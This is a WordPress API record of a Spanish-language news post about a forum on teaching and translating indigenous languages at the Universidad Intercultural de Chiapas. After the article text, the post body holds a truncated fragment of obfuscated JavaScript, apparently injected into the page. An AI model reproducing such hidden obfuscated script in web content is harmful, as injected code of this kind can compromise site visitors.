{"id":12471,"date":"2023-11-08T00:48:07","date_gmt":"2023-11-08T00:48:07","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=12471"},"modified":"2023-11-08T00:48:08","modified_gmt":"2023-11-08T00:48:08","slug":"inicia-1er-foro-de-ensenanza-y-traduccion-de-lenguas-originarias","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=12471","title":{"rendered":"Inicia 1er Foro de Ense\u00f1anza y Traducci\u00f3n de Lenguas Originarias"},"content":{"rendered":"\n
\"\"<\/figure>\n\n\n\n

\u00d3scar G\u00f3mez\/Corresponsal<\/p>\n\n\n\n

07 de Noviembre del 2023. San Crist\u00f3bal de Las Casas.- La Universidad Intercultural de Chiapas, a trav\u00e9s del Centro de Revitalizaci\u00f3n y Estudios de la Lengua (CREL) dio inicio al 1er Foro de Ense\u00f1anza y Traducci\u00f3n de Lenguas Originarias, evento que tiene como objetivo principal promover el reconocimiento, la valoraci\u00f3n y la preservaci\u00f3n de las lenguas originarias, as\u00ed como discutir enfoques efectivos para su ense\u00f1anza, la revitalizaci\u00f3n en la sociedad actual y la traducci\u00f3n. Adem\u00e1s de la colaboraci\u00f3n interinstitucional para fortalecer la ense\u00f1anza de lenguas originarias.\u201cNuestras lenguas originarias como el Tseltal, Tsotsil, Tojolabal, Cho\u00b4l, zoque y muchas m\u00e1s lenguas con la que contamos en nuestro estado, es una herencia milenaria que nos han dejado nuestros abuelos y nuestras abuelas, como un s\u00edmbolo de nuestra vida y nuestra comunicaci\u00f3n constante, es el medio en el que nos manifestamos diariamente y demostramos sentimientos, solo, alegr\u00eda, enojo, condiciones de vida y relaci\u00f3n con la madre naturaleza\u201d, dijo el rector de la UNICH, Dionicio Toledo Hern\u00e1ndez.Durante su participaci\u00f3n en el acto inaugural, al que acudi\u00f3 \u00c1ngeles Gordillo Casta\u00f1eda, Coordinadora T\u00e9cnica de planeaci\u00f3n y gesti\u00f3n administrativa de la Direcci\u00f3n de General de Universidades tecnol\u00f3gicas y Polit\u00e9cnicas, precis\u00f3 que las lenguas originarias se usan m\u00e1s en la vida comunitaria, ya que no puede desprenderse nada de la cotidianidad \u201casambleas comunitarias, convivencias familiares, fiestas, soluci\u00f3n y resoluci\u00f3n de conflictos\u201d.\u201cEn todos los \u00e1mbitos de la vida hay una pr\u00e1ctica importante de nuestras lenguas, por eso es importante se\u00f1alar que desde sus or\u00edgenes siempre se ha practicado y desarrollado desde la oralidad, existe muy poco esfuerzo para emplearlo de manera escrita, y es una gran tarea que debemos tener desde nuestros espacio de acci\u00f3n e intervenci\u00f3n\u201d, abund\u00f3.Toledo Hern\u00e1ndez, asever\u00f3 que es importante recuperar los elementos esenciales que se han perdido de las lenguas y adem\u00e1s revitalizarlas, y no seguir permitiendo que sea una segunda lengua, si no la primera, y en segunda el Castellano.Este 1er Foro tiene como din\u00e1mica de trabajo una Conferencia magistral, 4 Cursos- Taller (En el marco del Foro) una plenaria para cierre de plan de trabajo de en la ense\u00f1anza de Lenguas ind\u00edgenas mexicanas por cada d\u00eda de trabajo, 5 Mesas de Trabajo.Las actividades iniciaron este martes 7 y concluyen el pr\u00f3ximo 9 de noviembre, al que han acudido profesores y alumnos de las diferentes unidades acad\u00e9micas de la UNICH de Yajal\u00f3n, Salto de Agua, Las Margaritas.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"

\u00d3scar G\u00f3mez\/Corresponsal 07 de Noviembre del 2023. San Crist\u00f3bal de Las Casas.- La Universidad Intercultural de Chiapas, a trav\u00e9s del Centro de Revitalizaci\u00f3n y Estudios de la Lengua (CREL) dio inicio al 1er Foro de Ense\u00f1anza y Traducci\u00f3n de Lenguas Originarias, evento que tiene como objetivo principal promover el reconocimiento, la valoraci\u00f3n y la preservaci\u00f3n …<\/p>\n","protected":false},"author":2,"featured_media":12472,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-12471","post","type-post","status-publish","format-standard","has-post-thumbnail","","category-chiapas"],"_links":{"self":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/12471","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=12471"}],"version-history":[{"count":1,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/12471\/revisions"}],"predecessor-version":[{"id":12473,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/12471\/revisions\/12473"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/media\/12472"}],"wp:attachment":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=12471"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=12471"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=12471"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}